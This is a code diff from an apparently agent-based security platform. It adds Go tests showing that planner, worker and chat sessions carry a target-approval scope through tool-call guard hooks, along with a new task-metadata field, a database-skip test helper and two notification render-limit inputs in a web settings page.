+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/guard"
+	"github.com/Autumn-27/artex/intercept"
+	"github.com/Autumn-27/norma/llm"
+)
+
+// Target-gate wiring: every platform-owned session starts on a context that
+// carries the approval scope of its task or conversation, and the planner and
+// the main agent run with the task's target-only hooks. The gate is off, so
+// none of this changes what a session does.
+
+// innerHooksProbe is a programmable inner HookRunner that records what
+// steerHooks hands it.
+type innerHooksProbe struct {
+	block   bool
+	msg     string
+	updated []byte
+
+	pre, post int
+	tool      string
+	input     string
+	scoped    bool
+}
+
+func (p *innerHooksProbe) PreToolUse(ctx context.Context, name string, input []byte) (bool, string, []byte) {
+	p.pre++
+	p.tool, p.input = name, string(input)
+	_, p.scoped = intercept.TargetScopeFromContext(ctx)
+	return p.block, p.msg, p.updated
+}
+
+func (p *innerHooksProbe) PostToolUse(context.Context, string, []byte, []byte, bool) { p.post++ }
+
+func (p *innerHooksProbe) Stop(context.Context, []llm.Message) (bool, []string, string) {
+	return false, nil, ""
+}
+
+// The worker's hooks are the task Guard wrapped in steerHooks. The wrapper must
+// hand the call, on the caller's context, to the inner hooks and return their
+// decision unchanged — a block decided by the Guard must not be lost on the way.
+func TestSteerHooksForwardInnerBlock(t *testing.T) {
+	ctx := intercept.WithTargetScope(context.Background(), intercept.TargetScope{TaskID: "7"})
+	noSteer := func() (string, bool) { return "", false }
+	input := []byte(`{"command":"curl https://app.example.com/"}`)
+
+	inner := &innerHooksProbe{block: true, msg: "inner refused"}
+	h := steerHooks{inner: inner, drain: noSteer, nudges: &atomic.Int64{}}
+	block, msg, updated := h.PreToolUse(ctx, "Bash", input)
+	if !block || msg != "inner refused" || updated != nil {
+		t.Fatalf("inner block not forwarded: block=%v msg=%q updated=%q", block, msg, updated)
+	}
+	if inner.pre != 1 || inner.tool != "Bash" || inner.input != string(input) || !inner.scoped {
+		t.Fatalf("inner hooks saw pre=%d tool=%q input=%q scoped=%v", inner.pre, inner.tool, inner.input, inner.scoped)
+	}
+
+	// An inner pass (with a rewritten input) is forwarded just the same.
+	inner = &innerHooksProbe{updated: []byte(`{"command":"true"}`)}
+	h = steerHooks{inner: inner, drain: noSteer, nudges: &atomic.Int64{}}
+	if block, msg, updated := h.PreToolUse(ctx, "Bash", input); block || msg != "" || string(updated) != `{"command":"true"}` {
+		t.Fatalf("inner pass not forwarded: block=%v msg=%q updated=%q", block, msg, updated)
+	}
+	h.PostToolUse(ctx, "Bash", input, []byte(`"ok"`), false)
+	if inner.post != 1 {
+		t.Fatalf("PostToolUse reached the inner hooks %d times, want 1", inner.post)
+	}
+
+	// A queued steer message is delivered first; the inner hooks are not asked.
+	inner = &innerHooksProbe{}
+	h = steerHooks{inner: inner, drain: func() (string, bool) { return "change course", true }, nudges: &atomic.Int64{}}
+	if block, msg, _ := h.PreToolUse(ctx, "Bash", input); !block || !strings.Contains(msg, "change course") || inner.pre != 0 {
+		t.Fatalf("steer message: block=%v msg=%q inner.pre=%d", block, msg, inner.pre)
+	}
+}
+
+// scopeProbe is the target scope a session's context carried.
+type scopeProbe struct {
+	scope intercept.TargetScope
+	ok    bool
+}
+
+// scopeProbeProvider is a model that lists its work dir (a read-only LS call) on
+// its first turn and ends the run on the next, recording the target scope of the
+// context it is called with. The harness calls the model and the tool hooks on
+// the same session context.
+type scopeProbeProvider struct {
+	seen chan scopeProbe
+	turn atomic.Int64
+}
+
+func newScopeProbeProvider() *scopeProbeProvider {
+	return &scopeProbeProvider{seen: make(chan scopeProbe, 16)}
+}
+
+func (p *scopeProbeProvider) Stream(ctx context.Context, _ llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
+	scope, ok := intercept.TargetScopeFromContext(ctx)
+	select {
+	case p.seen <- scopeProbe{scope, ok}:
+	default:
+	}
+	events := []llm.StreamEvent{{Type: llm.SETextDelta, Text: "done"}, {Type: llm.SEMessageDelta, StopReason: "end_turn"}}
+	if p.turn.Add(1) == 1 {
+		events = []llm.StreamEvent{
+			{Type: llm.SEToolUseStart, ToolID: "call-1", ToolName: "LS"},
+			{Type: llm.SEToolInputJSON, Text: `{}`},
+			{Type: llm.SEMessageDelta, StopReason: "tool_use"},
+		}
+	}
+	return func(yield func(llm.StreamEvent, error) bool) {
+		for _, event := range events {
+			if !yield(event, nil) {
+				return
+			}
+		}
+	}
+}
+
+func (p *scopeProbeProvider) Complete(ctx context.Context, req llm.CompletionRequest) (llm.Message, string, llm.Usage, error) {
+	return accumulateStreamForTest(ctx, p.Stream, req)
+}
+
+// first returns the scope of the first model call, failing if none arrives.
+func (p *scopeProbeProvider) first(t *testing.T) scopeProbe {
+	t.Helper()
+	select {
+	case s := <-p.seen:
+		return s
+	case <-time.After(30 * time.Second):
+		t.Fatal("the session never called the model")
+		return scopeProbe{}
+	}
+}
+
+// targetScopeFixture is a manager, engine and server on the test database.
+type targetScopeFixture struct {
+	m *Manager
+	e *Engine
+	s *Server
+}
+
+func newTargetScopeFixture(t *testing.T) *targetScopeFixture {
+	t.Helper()
+	skipWithoutDSN(t)
+	m, err := NewManager(t.TempDir(), "")
+	if err != nil {
+		t.Fatal(err)
+	}
+	ctx, cancel := context.WithCancel(context.Background())
+	e := NewEngine(m)
+	s := &Server{m: m, engine: e, ctx: ctx, chatBusy: map[string]bool{},
+		chatCancel: map[string]context.CancelCauseFunc{}, taskAgents: map[string]*taskAgentBundle{}}
+	t.Cleanup(func() {
+		cancel()
+		_ = m.Close()
+	})
+	return &targetScopeFixture{m: m, e: e, s: s}
+}
+
+// newTask creates a task with one open goal (so the planner loop plans).
+func (f *targetScopeFixture) newTask(t *testing.T) *Task {
+	t.Helper()
+	created, err := f.m.CreateTaskWithOptions("target scope probe", "probe goal", db.TaskCreateOptions{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	task, ok := f.m.Task(created.ID)
+	if !ok {
+		t.Fatal("task not found after creation")
+	}
+	if _, err := task.Store.AddGoal(map[string]any{"summary": "probe goal"}, "seed"); err != nil {
+		t.Fatal(err)
+	}
+	return task
+}
+
+// usePlanner makes the engine resolve every task to agents driven by p.
+func (f *targetScopeFixture) usePlanner(p llm.Provider) {
+	planner := agent.NewPlanner(p, "test-model", f.m.dir, nil, 0, 3)
+	worker := agent.NewWorker(p, "test-model", f.m.dir, nil, 0, 3)
+	f.e.SetAuthoritativeAgentResolver(func(*Task) (*agent.Planner, *agent.Worker) { return planner, worker })
+}
+
+// waitUntil polls cond until it holds, failing after 30 seconds.
+func waitUntil(t *testing.T, what string, cond func() bool) {
+	t.Helper()
+	deadline := time.Now().Add(30 * time.Second)
+	for !cond() {
+		if time.Now().After(deadline) {
+			t.Fatalf("timed out waiting for %s", what)
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+}
+
+// plannerLoopRound runs the planner loop until its first round has finished and
+// returns the scope that round's session carried.
+func (f *targetScopeFixture) plannerLoopRound(t *testing.T, task *Task) scopeProbe {
+	t.Helper()
+	probe := newScopeProbeProvider()
+	f.usePlanner(probe)
+	ctx, stop := context.WithCancel(context.Background())
+	done := make(chan struct{})
+	go func() {
+		defer close(done)
+		f.e.plannerLoop(ctx, task)
+	}()
+	task.Notify()
+	got := probe.first(t)
+	waitUntil(t, "the planning round to finish", func() bool { return f.e.inflightCount(task.ID) == 0 })
+	stop()
+	<-done
+	return got
+}
+
+// finalPlannerRound runs the task-timeout settlement round and returns the scope
+// its session carried.
+func (f *targetScopeFixture) finalPlannerRound(t *testing.T, task *Task) scopeProbe {
+	t.Helper()
+	probe := newScopeProbeProvider()
+	f.usePlanner(probe)
+	f.e.runFinalPlannerRound(context.Background(), task)
+	return probe.first(t)
+}
+
+func (f *targetScopeFixture) mainAgentTurn(t *testing.T, task *Task) scopeProbe {
+	t.Helper()
+	probe := newScopeProbeProvider()
+	f.s.cfgMu.Lock()
+	f.s.llmOn, f.s.llmProv = true, probe
+	f.s.cfgMu.Unlock()
+	f.s.taskAgentMu.Lock()
+	f.s.taskAgents[task.ID] = &taskAgentBundle{main: agent.NewMainAgent(probe, "test-model", f.m.dir, nil, 0, 3)}
+	f.s.taskAgentMu.Unlock()
+	rec := httptest.NewRecorder()
+	f.s.chat(rec, httptest.NewRequest("POST", "/api/chat?task="+task.ID, strings.NewReader(`{"message":"status?"}`)))
+	if rec.Code != 202 {
+		t.Fatalf("chat status = %d, want 202: %s", rec.Code, rec.Body.String())
+	}
+	got := probe.first(t)
+	waitUntil(t, "the main-agent turn to finish", func() bool {
+		f.s.chatMu.Lock()
+		defer f.s.chatMu.Unlock()
+		return !f.s.chatBusy[task.ID]
+	})
+	return got
+}
+
+func (f *targetScopeFixture) workerIntent(t *testing.T, task *Task) scopeProbe {
+	t.Helper()
+	probe := newScopeProbeProvider()
+	if _, err := task.Store.AddIntent(map[string]any{"summary": "scope probe"}, 1, nil, "planner"); err != nil {
+		t.Fatal(err)
+	}
+	intent, token := f.e.claimNext(task, "work#1")
+	if intent == nil {
+		t.Fatal("no intent claimed")
+	}
+	worker := agent.NewWorker(probe, "test-model", f.m.dir, nil, 0, 3)
+	f.e.runIntent(context.Background(), task, "work#1", worker, intent, token, "", "")
+	return probe.first(t)
+}
+
+func (f *targetScopeFixture) conversationTurn(t *testing.T) (scopeProbe, int64) {
+	t.Helper()
+	probe := newScopeProbeProvider()
+	conv, err := f.m.pg.CreateConversation("assistant", "target scope probe", nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = f.m.pg.DeleteConversation(conv.ID) })
+	f.s.cfgMu.Lock()
+	f.s.chatAgent = agent.NewChatAgent(probe, "test-model", f.m.dir, nil, 10000)
+	f.s.cfgMu.Unlock()
+	busyKey := f.s.convBusyKey(conv.ID)
+	ctx, cancel := f.s.conversationRunContext(conv.ID, busyKey)
+	f.s.runConversationTurn(ctx, cancel, conv, "hello", busyKey)
+	return probe.first(t), conv.ID
+}
+
+// auditedTools lists the tool names in a guard's audit ring.
+func auditedTools(g *guard.Guard) []string {
+	var tools []string
+	for _, e := range g.Audit() {
+		tools = append(tools, e.Tool)
+	}
+	return tools
+}
+
+// The five session entry points — planner round, final planner round, main-agent
+// turn, worker intent, conversation turn (chat and retester share it) — each run
+// on a context carrying the scope the gate will decide on, with the gate off.
+// The planner and the main agent hand their tool calls to Task.TargetGuard, the
+// worker to Task.Guard. The target-only guard keeps no record, so the test puts
+// a recording guard in its place.
+func TestEveryAgentKindCarriesTargetScope(t *testing.T) {
+	f := newTargetScopeFixture(t)
+	taskSites := []struct {
+		name       string
+		run        func(*testing.T, *Task) scopeProbe
+		wait       time.Duration
+		targetOnly bool // the session runs on Task.TargetGuard, not Task.Guard
+	}{
+		{"planner round", f.plannerLoopRound, intercept.DefaultTargetWaitBound, true},
+		{"final planner round", f.finalPlannerRound, 0, true},
+		{"main-agent turn", f.mainAgentTurn, intercept.DefaultTargetWaitBound, true},
+		{"worker intent", f.workerIntent, intercept.DefaultTargetWaitBound, false},
+	}
+	for _, site := range taskSites {
+		t.Run(site.name, func(t *testing.T) {
+			task := f.newTask(t)
+			recorder := guard.New()
+			task.TargetGuard = recorder
+			got := site.run(t, task)
+			onTarget, onMain := auditedTools(recorder), auditedTools(task.Guard)
+			if site.targetOnly && (len(onTarget) != 1 || onTarget[0] != "LS" || len(onMain) != 0) {
+				t.Fatalf("tool calls seen by TargetGuard=%v Guard=%v, want one LS on TargetGuard only", onTarget, onMain)
+			}
+			if !site.targetOnly && (len(onMain) != 1 || onMain[0] != "LS" || len(onTarget) != 0) {
+				t.Fatalf("tool calls seen by TargetGuard=%v Guard=%v, want one LS on Guard only", onTarget, onMain)
+			}
+			if !got.ok || got.scope.TaskID != task.ID || got.scope.ConversationID != 0 {
+				t.Fatalf("scope = %+v (present=%v), want task %s", got.scope, got.ok, task.ID)
+			}
+			if got.scope.WaitBound != site.wait {
+				t.Fatalf("wait bound = %v, want %v", got.scope.WaitBound, site.wait)
+			}
+			if got.scope.Enabled == nil || got.scope.Enabled() {
+				t.Fatal("the gate must be off: the task did not opt in")
+			}
+			if got.scope.Interceptor != f.m.interceptor {
+				t.Fatal("the scope does not carry the interceptor that owns the gate")
+			}
+		})
+	}
+	t.Run("conversation turn", func(t *testing.T) {
+		got, convID := f.conversationTurn(t)
+		if !got.ok || got.scope.ConversationID != convID || got.scope.TaskID != "" {
+			t.Fatalf("scope = %+v (present=%v), want conversation %d", got.scope, got.ok, convID)
+		}
+		if got.scope.WaitBound != intercept.DefaultTargetWaitBound {
+			t.Fatalf("wait bound = %v, want %v", got.scope.WaitBound, intercept.DefaultTargetWaitBound)
+		}
+		if got.scope.Enabled == nil || got.scope.Enabled() {
+			t.Fatal("the gate must be off: the conversation did not opt in")
+		}
+		if got.scope.Interceptor != f.m.interceptor {
+			t.Fatal("the scope does not carry the interceptor that owns the gate")
+		}
+	})
+}
+
+// The final settlement round runs on a context a pause cannot cancel and is
+// meant to judge, not to explore: a gated call must never wait there. A regular
+// round of the same task keeps the default bound.
+func TestFinalPlannerRoundHasZeroWait(t *testing.T) {
+	f := newTargetScopeFixture(t)
+	task := f.newTask(t)
+	regular := f.plannerLoopRound(t, task)
+	final := f.finalPlannerRound(t, task)
+	if !regular.ok || !final.ok {
+		t.Fatalf("scope missing: regular=%v final=%v", regular.ok, final.ok)
+	}
+	if regular.scope.WaitBound <= 0 {
+		t.Fatalf("regular round wait bound = %v, want a positive bound", regular.scope.WaitBound)
+	}
+	if final.scope.WaitBound != 0 {
+		t.Fatalf("final round wait bound = %v, want 0", final.scope.WaitBound)
+	}
+	if final.scope.TaskID != task.ID {
+		t.Fatalf("final round scope task = %q, want %s", final.scope.TaskID, task.ID)
+	}
+}
+
+// The gate seam is a no-op: through the task's target-only hooks a call is
+// allowed and nothing is written — no intercept row, no audit-ring entry. The
+// control runs the same call through the task's full Guard, where a deny rule
+// blocks it and logs a row, so the rule and the row count are known to be live.
+func TestTargetGateSeamAllowsWithoutDBWrite(t *testing.T) {
+	f := newTargetScopeFixture(t)
+	task := f.newTask(t)
+	ic := f.m.interceptor
+	priorTools, err := ic.GetEnabledTools()
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = ic.SetEnabledTools(priorTools) })
+	if err := ic.SetEnabledTools([]string{"Bash"}); err != nil {
+		t.Fatal(err)
+	}
+	const sentinel = "ARTEX_TARGET_SEAM_PROBE"
+	rule, err := f.m.pg.CreateInterceptRule("target seam probe", "tool_input", "string", sentinel, "deny", "", 1000000, true, false, 0, "deny")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = f.m.pg.DeleteInterceptRule(rule.ID)
+		_, _ = f.m.pg.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, task.ID)
+		ic.Invalidate()
+	})
+	ic.Invalidate()
+	rows := func() int {
+		t.Helper()
+		var n int
+		if err := f.m.pg.QueryRow(`SELECT count(*) FROM intercept_pending WHERE task_id=$1`, task.ID).Scan(&n); err != nil {
+			t.Fatal(err)
+		}
+		return n
+	}
+	ctx := intercept.WithTaskContext(context.Background(), task.ID, "planner", nil)
+	ctx = intercept.WithTargetScope(ctx, task.targetScope(intercept.DefaultTargetWaitBound))
+	input := []byte(`{"command":"echo ` + sentinel + `"}`)
+
+	if block, _, _ := task.Guard.Hooks().PreToolUse(ctx, "Bash", input); !block {
+		t.Fatal("control: the full guard was expected to deny the call")
+	}
+	if n := rows(); n != 1 {
+		t.Fatalf("control: the full guard logged %d intercept rows, want 1", n)
+	}
+	ring := len(task.Guard.Audit())
+
+	block, msg, updated := task.TargetGuard.Hooks().PreToolUse(ctx, "Bash", input)
+	if block || msg != "" || updated != nil {
+		t.Fatalf("target-only hooks: block=%v msg=%q updated=%q, want the call allowed untouched", block, msg, updated)
+	}
+	task.TargetGuard.Hooks().PostToolUse(ctx, "Bash", input, []byte(`"ok"`), false)
+	if n := rows(); n != 1 {
+		t.Fatalf("target-only hooks changed the intercept rows: %d, want 1", n)
+	}
+	if n := len(task.TargetGuard.Audit()); n != 0 {
+		t.Fatalf("target-only guard wrote %d audit entries, want none", n)
+	}
+	if n := len(task.Guard.Audit()); n != ring {
+		t.Fatalf("the task's audit ring grew from %d to %d entries", ring, n)
+	}
+}

server/task_metadata.go

@@ -28,6 +28,7 @@ func (s *Server) updateTaskMetadata(w http.ResponseWriter, r *http.Request) {
 		Name          *string `json:"name"`
 		Pinned        *bool   `json:"pinned"`
 		PlanQuietMode *bool   `json:"plan_quiet_mode"`
+		TargetGate    *bool   `json:"target_gate"`
 	}
 	if err := decode(r, &request); err != nil {
 		var tooLarge *http.MaxBytesError
@@ -38,8 +39,8 @@ func (s *Server) updateTaskMetadata(w http.ResponseWriter, r *http.Request) {
 		}
 		return
 	}
-	if request.Name == nil && request.Pinned == nil && request.PlanQuietMode == nil {
-		writeErr(w, http.StatusBadRequest, "at least one of name, pinned or plan_quiet_mode must be provided")
+	if request.Name == nil && request.Pinned == nil && request.PlanQuietMode == nil && request.TargetGate == nil {
+		writeErr(w, http.StatusBadRequest, "at least one of name, pinned, plan_quiet_mode or target_gate must be provided")
 		return
 	}
 	if request.Name != nil {
@@ -54,7 +55,7 @@ func (s *Server) updateTaskMetadata(w http.ResponseWriter, r *http.Request) {
 		}
 		request.Name = &name
 	}
-	task, err := s.m.UpdateTaskMetadata(taskID, db.TaskPatch{Name: request.Name, Pinned: request.Pinned, PlanQuietMode: request.PlanQuietMode})
+	task, err := s.m.UpdateTaskMetadata(taskID, db.TaskPatch{Name: request.Name, Pinned: request.Pinned, PlanQuietMode: request.PlanQuietMode, TargetGate: request.TargetGate})
 	if err != nil {
 		writeErr(w, http.StatusInternalServerError, err.Error())
 		return

server/testmain_test.go

@@ -32,3 +32,13 @@ func TestMain(m *testing.M) {
 	defer conn.Exec(`SELECT pg_advisory_unlock(7337741002)`) //nolint:errcheck
 	os.Exit(m.Run())
 }
+
+// skipWithoutDSN skips the test when neither ARTEX_PG_DSN nor a config file
+// supplies a database, so fixtures that t.Fatal on a NewManager error skip
+// instead of failing. A configured database that cannot be reached still fails.
+func skipWithoutDSN(t *testing.T) {
+	t.Helper()
+	if _, _, err := db.DSN(); err != nil {
+		t.Skipf("no database config (%v) — skipping", err)
+	}
+}

server/traffic_ingest_test.go

@@ -15,6 +15,7 @@ import (
 // trafficEvidenceServer but without the finding plumbing.
 func ingestServer(t *testing.T) (*Server, func(method, path, body string) *httptest.ResponseRecorder) {
 	t.Helper()
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

web/src/app/(main)/system/notify/page.tsx

@@ -32,6 +32,18 @@ import { ConfigField, FilterSummary } from "./_components/channel-form";
 import { DeliveryList } from "./_components/delivery-list";
 import { formatBacklog, StatTile } from "./_components/stat-tile";
 
+// Upper bounds of the two message render limits. They mirror the backend, which answers 400 outside [0, max].
+const SUMMARY_LIMIT_MAX = 4000;
+const ASSETS_LIMIT_MAX = 50;
+
+// limitInvalid reports whether a limit input holds anything other than a whole number in [0, max].
+// Empty is valid: it is not submitted, so the stored value stays as it is.
+function limitInvalid(raw: string, max: number): boolean {
+  if (raw.trim() === "") return false;
+  const n = Number(raw);
+  return !Number.isInteger(n) || n < 0 || n > max;
+}
+
 // This page only orchestrates: loading data, holding form state, calling the API.
 // Field definitions and parsing live in _components/channel-fields.ts, controls and the filter summary in
 // _components/channel-form.tsx, and the delivery log in _components/delivery-list.tsx —
@@ -50,6 +62,8 @@ export default function NotifyPage() {
   const [globalSaving, setGlobalSaving] = React.useState(false);
   const [baseURL, setBaseURL] = React.useState("");
   const [digestMin, setDigestMin] = React.useState("");
+  const [summaryMax, setSummaryMax] = React.useState("");
+  const [assetsMax, setAssetsMax] = React.useState("");
 
   const load = React.useCallback(() => {
     api
@@ -60,6 +74,14 @@ export default function NotifyPage() {
         setDigestMin(m.digest_interval_min);
       })
       .catch((e) => toast.error("Failed to load notification settings: " + (e as Error).message));
+    // The two render limits are not part of /notify/meta; they are only exposed through /api/settings.
+    api
+      .settings()
+      .then((s) => {
+        setSummaryMax(String(s.notify_summary_max_runes ?? ""));
+        setAssetsMax(String(s.notify_assets_max_shown ?? ""));
+      })
+      .catch((e) => toast.error(`Failed to load message limits: ${(e as Error).message}`));
     // Channel-list load failures must be reported: failing silently would render as "no channels at all",
     // and users would think their config was lost — scarier than a straight-up error.
     api
@@ -244,11 +266,23 @@ export default function NotifyPage() {
   }
 
   async function saveGlobal() {
+    // Checked before anything is sent: the backend applies the fields of one PUT in order,
+    // so a 400 on a limit would leave the URL and digest interval already saved.
+    if (limitInvalid(summaryMax, SUMMARY_LIMIT_MAX)) {
+      toast.error(`Summary length must be a whole number between 0 and ${SUMMARY_LIMIT_MAX}`);
+      return;
+    }
+    if (limitInvalid(assetsMax, ASSETS_LIMIT_MAX)) {
+      toast.error(`Assets listed must be a whole number between 0 and ${ASSETS_LIMIT_MAX}`);
+      return;
+    }
     setGlobalSaving(true);
     try {
       const patch: Record<string, unknown> = { notify_public_base_url: baseURL.trim() };
       const n = Number(digestMin);
       if (Number.isFinite(n) && n > 0) patch.notify_digest_interval_min = n;
+      if (summaryMax.trim() !== "") patch.notify_summary_max_runes = Number(summaryMax);
+      if (assetsMax.trim() !== "") patch.notify_assets_max_shown = Number(assetsMax);
       await api.setSettings(patch);
       toast.success("Saved");
       load();
@@ -331,6 +365,40 @@ export default function NotifyPage() {
             />
             <p className="text-muted-foreground text-xs">Only applies to channels in "digest" mode.</p>
           </div>
+          <div className="grid gap-2">
+            <Label htmlFor="n-summary-max">Summary length (characters)</Label>
+            <Input
+              id="n-summary-max"
+              type="number"
+              min={0}
+              max={SUMMARY_LIMIT_MAX}
+              step={1}
+              placeholder="120"
+              value={summaryMax}
+              onChange={(e) => setSummaryMax(e.target.value)}
+              aria-invalid={limitInvalid(summaryMax, SUMMARY_LIMIT_MAX)}
+            />
+            <p className="text-muted-foreground text-xs">
+              Longest finding summary shown in a message, 0–{SUMMARY_LIMIT_MAX}. 0 = no truncation.
+            </p>
+          </div>
+          <div className="grid gap-2">
+            <Label htmlFor="n-assets-max">Assets listed per finding</Label>
+            <Input
+              id="n-assets-max"
+              type="number"
+              min={0}
+              max={ASSETS_LIMIT_MAX}
+              step={1}
+              placeholder="3"
+              value={assetsMax}
+              onChange={(e) => setAssetsMax(e.target.value)}
+              aria-invalid={limitInvalid(assetsMax, ASSETS_LIMIT_MAX)}
+            />
+            <p className="text-muted-foreground text-xs">
+              Most asset names listed for a finding, 0–{ASSETS_LIMIT_MAX}. 0 = no truncation (all assets listed).
+            </p>
+          </div>
           <div className="sm:col-span-2">
             <Button onClick={saveGlobal} disabled={globalSaving}>
               Save global settings

web/src/lib/types.ts

@@ -957,6 +957,9 @@ export interface Settings {
   notify_enabled?: boolean; // master push switch, on by default; one-click kill switch for maintenance windows
   notify_public_base_url?: string; // external base URL for vulnerability detail links; empty = messages carry no link
   notify_digest_interval_min?: number; // digest mode period (minutes), default 30
+  // Render limits of IM messages; 0 = no truncation. The backend answers 400 outside the bounds.
+  notify_summary_max_runes?: number; // summary characters per finding, 0-4000, default 120
+  notify_assets_max_shown?: number; // asset names listed per finding, 0-50, default 3
 }
 
 // ---- Vulnerability IM push ----